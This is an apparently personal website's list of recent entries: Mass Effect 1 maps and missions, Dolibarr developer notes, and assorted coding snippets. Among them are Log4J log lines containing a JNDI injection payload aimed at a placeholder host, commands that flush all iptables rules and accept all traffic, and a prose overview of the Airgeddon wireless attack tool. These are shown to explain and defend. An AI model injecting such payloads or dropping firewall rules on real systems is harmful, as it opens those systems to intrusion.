Last Modified Entries

Last modified entries!
^Top
<< Back
Mobile-Menu










Anomaly: Canalus

Objective is to disable a Geth Weather device, which changes the planets atmossphere.<br /> Location: Canalus / Dirada / Pylos Nebula ...

Map - Mavigon

Here you can find a map with all objects and minerals on the planet Mavigon in Mass Effect 1 ...

Safari Browser z-Index not Working

If you encounter z-Index Problems on safari you can try to put that code into your z-indexed element: &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; -webkit-transform: translate3d(0, 0, 0);<br /> &nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;transform: translate3d(0, 0, 0); ...

Map - Edolus

Here you can find a map with all objects and minerals on the planet Edolus in Mass Effect 1 ...

Restart Jitsi Services

Here is the Linux code to restart all jitsi services: /etc/init.d/jicofo restart<br /> /etc/init.d/jitsi-videobridge2 restart<br /> /etc/init.d/prosody restart ...

Map - Antibaar

Here you can find a map with all objects and minerals on the planet Antibaar in Mass Effect 1 ...

Anomaly: Aequitas

Objective is to clear the mine from transformed workers.<br /> Location: Aequitas / Fortis /&nbsp; Minos Wasteland<br /> Unfortunately we have no Images available related to this Mission. ...

Check if String exists in String

&nbsp;Here code to check if a string exists in another string! $string = &#39;This is a String&#39;;<br /> if (strpos($string , &#39;This&#39;) !== false) {<br /> &nbsp;&nbsp;&nbsp; echo &#39;true&#39;; # STRING CONTAINS WORD &quot;This&quot;<br /> } else {<br /> # String not f...

Add Module Extrafields

addExtraField ( $attrname,$label, $type, $pos,$size,$elementtype,$unique = 0,$required = 0,$default_value = '',<br role="presentation" />$param = '',$alwayseditable = 0,$perms = '',$list = '-1',$help = '',$computed = '',$entity = '',$langfile = '',$enabl...

Remove a Hard-Deleted Module

If you deleted a module via FTP or etc, and getting error messages about missing files - delete all module constants in llx_const. If the module name was "xxx" the consts would be: MAIN_MODULE_XXX<br />...

Add Module Menue

// Main menu entries<br role="presentation" />$this-&gt;menu = array(); // List of menus to add<br role="presentation" />$r=0;<br role="presentation" />// Add here entries to declare new menus<br role="presentation" />// Example to declare the Top Menu entry:<br role="prese...

Add Module Tab

// Array to add new pages in new tabs or remove existing one<br role="presentation" />$this-&gt;tabs =<br role="presentation" />array('objecttype:+tabname1:Title1:mylangfile@mymodule:$user-&gt;rights-&gt;mymodule-&gt;read:/mymodule<br role="presentation" />/mypagetab1.php?id=__ID_...

Status Identifiers

FK_STATUT<br role="presentation" />Angebote<br role="presentation" />&bull; 0 - Entwurf nicht best&auml;tigt<br role="presentation" />&bull; 1 - Amngebot ist offen<br />&bull; 2 - unterzeichnet / beauftragt / abrechenbar<br role="presentation" />&bull; 3- Nich...

Triggers

Here you can see a list of general dolibarr triggers! Trigger code ($action) Type object ($object) USER_CREATE user.class.php USER_MODIFY user.class.php USER_DELETE user.class.php USER_LOGIN user.class.php USER_LOGIN_FAILED user.class.php USER_LOGOUT user.class.php USER_ENABLEDISABLE user.class.php USER_NEW_PASSWORD user.class.php USER_SETINGROUP u...

There is no custom directory

This notice appears in the readme of almost all Dolibarr Modules.<br role="presentation" />Note: If this screen tell you there is no custom directory, check your setup is correct:<br role="presentation" />- In your Dolibarr installation directory, edit the ``````htdocs/conf/conf.php`````` file and check that<br ro...

GETPOSTISSET Function

GETPOSTISSET()&nbsp; Example:<br role="presentation" />if (GETPOSTISSET('varname')){...}<br role="presentation" />Usage:<br role="presentation" />GETPOSTISSET will check if a $_POST or $_GET Variable with name "varname" is set...

GETPOST Function

GETPOST Function to get a value out of $_POST or $_GET request.<br role="presentation" />Varname: Is the name of the vaue provided via the request. The value will be stored in<br role="presentation" />$monChamp.<br role="presentation" />INT: Is a checking string. In this case it checks the value of th...

img_picto Function

img_picto()<br role="presentation" />Example:<br role="presentation" />img_picto(path,name);<br role="presentation" />Usage:<br role="presentation" />img_picto() will print an image with the path and title provided in the function ...

Anomaly: Taitus

Objective is to reactivate a mesh and use him to break all walls which are blocking the way to retrieve an ancient artifact.<br /> Location: Taitus / Talava / Caleston rift ...

HTAccess own Error Documents

Enter this in your Websites .htaccess main directory to let the server redirect<br /> HTTP404 Errors or misc to a specified site. ErrorDocument 400 /error/400.php<br /> ErrorDocument 401 /error/401.php<br /> ErrorDocument 403 /error/403.html<br /> ErrorDocument 404 /error/404.php<br /> ErrorDocument 500 /error/405.php ...

Add Module Permission

$this-&gt;rights[$r][0] = 10001;<br role="presentation" />$this-&gt;rights[$r][1] = 'Label by default of permission';<br role="presentation" />$this-&gt;rights[$r][2] = 'r';<br role="presentation" />$this-&gt;rights[$r][3] = 1;<br role="presentation" /&...

Major Changes from v13 to v14

* Module SimplePOS is deprecated. If you need a POS module, please use the module TakePOS.<br role="presentation" />* The ICS value for direct debit or credit transfer is now stored on each bank account instead of<br role="presentation" />into the global setup.<br role="presentation" />* API /setup/sh...

Default Rights Variables

Bank and Cash -&gt;banque-&gt;lire, -&gt;banque-&gt;modifier, -&gt;banque-&gt;configurer, -&gt;banque-&gt;consolidate, -&gt;banque-&gt;export, -&gt;banque-&gt;transfer, -&gt;banque-&gt;cheque Barcode -&gt;barcode-&gt;lire, -&gt;barcode-&gt;creer, -&gt;barcode-&gt;suppr...

Polkit PKExec Vulnerability

The most actual systems have an update for this. If not you can close this vulnerability by executing:<br /> chmod 0755 /usr/bin/pkexec This will remove the SUID Bit from the File.<br /> More info here: https://nvd.nist.gov/vuln/detail/CVE-2021-4034 Image for the Thumbnail: ...

Load an XML exe.config File (Custom Path)

Here an example to load an custom application xml config file. // Load Configuration<br /> CurrentConfPath = &quot;C:\\PATH\\TO\\EXE.CONFIG&quot;;<br /> ExeConfigurationFileMap configMap = new ExeConfigurationFileMap();<br /> configMap.ExeConfigFilename = CurrentConfPath;<br /> Configuration config = ConfigurationMan...

Allow Application Run Only Once

Here is an example to allow software to run only once on a machine.<br /> If the user tries to start the application again, there will ne a notification box and the program will exit. [file] program.cs in visual studio using System;<br /> using System.Threading;<br /> using System.Windows.Forms; namespace myapplicationnamespace<...

Simple Pie Chart with HTML and CSS

&lt;style&gt;<br /> .pie {<br /> &nbsp;&nbsp; &nbsp; /* Basic layout */<br /> &nbsp;&nbsp; &nbsp; display: inline-block;<br /> &nbsp;&nbsp; &nbsp; width: 10em;<br /> &nbsp;&nbsp; &nbsp; height: 10em;<br /> &nbsp;&nbsp; &nbsp; border-radius: 50%; ...

Debian Source List Example

deb http://deb.debian.org/debian buster main deb-src http://deb.debian.org/debian buster main deb http://deb.debian.org/debian-security/ buster/updates main deb-src http://deb.debian.org/debian-security/ buster/updates main deb http://deb.debian.org/debian buster-updates main deb-src http://deb.debian.org/debian buster-updates main ...

SEO Friendly URLs with PHP

ModRewrite needs to be enabled in apache2 by executing:<br /> a2enmod rewrite Modify your HTaccess File like this if index.php is your main php File: RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?i=$1 [L,QSA] &nbsp; For example, if the user enters the UR...

Read A File from Internal Storage to String

&nbsp;Simple Code to read a File in Android (FROM INTERNAL STORAGE) to a String String readFile(Context context, String filename) throws IOException { String ret = &quot;&quot;; InputStream inStream = context.openFileInput(filename); if ( inStream != null ) { InputStreamReader inputStreamReader = new InputStreamReader(inStream); Buffere...

Replace in a String

Example of replacing a sign in a string (works with more than one sign) &nbsp; $newstring = str_replace(&quot;TEXT&quot;, &quot;NEW TEXT&quot;, $initialstring); ...

Object in Perfect Circular Orbit

For an object in space in a perfect circular orbit around another object (should be rare) the equation to calculate velocity of the orbiting object is: Scientifical designations: v = Velocity in m/s<br /> G = Gravitational Constant<br /> r = Radius in Meters<br /> M = Mass of the Central Body in kg Animation of an object orbiting ...

IpTables Flush And Allow All Traffic

USE WITH OWN RISK - ALL FIREWALL RULES WILL BE DELETED IPv4<br /> <br /> iptables -F<br /> iptables -X<br /> iptables -t nat -F<br /> iptables -t nat -X<br /> iptables -t mangle -F<br /> iptables -t mangle -X<br /> iptables -P INPUT ACCEPT<br /> iptables -P FORWARD ACCEPT<br /> iptables -P...

HACKING Airgeddon

Airgeddon is a multi use wireless audit tool.<br /> Its possible to pentest WEP and WPA2 Networks. Its included into a security parrot and KALI installation. The main features are Evil Twin Attacks/ Package Capturing and there is a Bruteforce Cracker included with aircrack-ng - but for better performance you should use something like hashcat ...

Map - Nodacrux

Here you can find a map with all objects and minerals on the planet Nodacrux in Mass Effect 1 ...

Anomaly: Neith

Objective is to disable the Rescue Beacon and fight the malfunctioning LOKI Mechs.<br /> Location: Neith / Amun / Eagle Nebula ...

Prepare Scripts for SSL Connections

If SSL Connections fail with Security Protocol Error, this code in Main Function could do the trick! &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&a...

Anomaly: Joab

Illegal Mercenary Activity on this planet to take care of.<br /> Location: Joab / Enoch /&nbsp; Rosetta Nebula ...

Anomaly: Sinmara

Objective is to repair the magnetic shield, which protects the planet from interstellar radiation.<br /> Location: Sinmara / Solveig / Caleston Rift ...

Anomaly: Helyme

Objective is to destroy a mercenary base and decrypt a hostile message.<br /> Location: Helyme / Zelene /&nbsp; Crescent Nebula ...

Display PDF in ImageView (Zoomable)

Just a quick setup to render a pdf File. XML Fragment of Image view (somewhere in your layouts xml where you need it) &nbsp;&nbsp;&nbsp; &lt;RelativeLayout<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; android:id=&quot;@+id/relativeLayout&quot;<br /> &nbsp;&nbsp;&nbsp;&a...

Check For Permission and Request

This is Example for Internet Permissions Android Manifest XML (for every Permissoin u need one of this fitting block) &nbsp;&nbsp;&nbsp; &lt;!-- Declare Use Of Internet --&gt;<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;uses-permission android:name=&quot;android.permission.INTER...

Map - Nepmos

Here you can find a map with all objects and minerals on the planet Nepmos in Mass Effect 1 ...

Map - Casbin

Here you can find a map with all objects and minerals on the planet Casbin in Mass Effect 1 ...

Map - Metgos

Here you can find a map with all objects and minerals on the planet Metgos in Mass Effect 1 ...

Create a sitemap.xml for SEO

This is the Main Layout of a sitemap.xml File &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;urlset &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xmlns:xsi=&quot;http://w...

Map - Eletania

Here you can find a map with all objects and minerals on the planet Eletania in Mass Effect 1 ...

How does a Fail Log4J Attack look in Logfiles

[Fri Jan 28 03:42:04.636333 2022] [proxy:warn] [pid 30819] [client 98.0.242.10:46192] AH10188: Max-Forwards value &#39;${jndi:ldap://X.X.X.X:1389/a}&#39; could not be parsed, referer: ${jndi:ldap://X.X.X.X:1389/a}<br /> [Fri Jan 28 03:42:04.636394 2022] [proxy:error] [pid 30819] [client 98.0.242.10:46192] AH00898: Max-Forwards request...

Get Remote HTML Code as String

Here is an example function to get the full html output code of an URL provided to the function into a string.<br /> You can get the data by using a string variable which gets the output: string variable = gethtmlcontent(&quot;https://thisisapage&quot;); &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&...

Map - Nepheron

Here you can find a map with all objects and minerals on the planet Nepheron in Mass Effect 1 ...

Switches: 2 | Arrivals: 9 | Visits: 11
This Website is using Session Cookies for Site Functionality.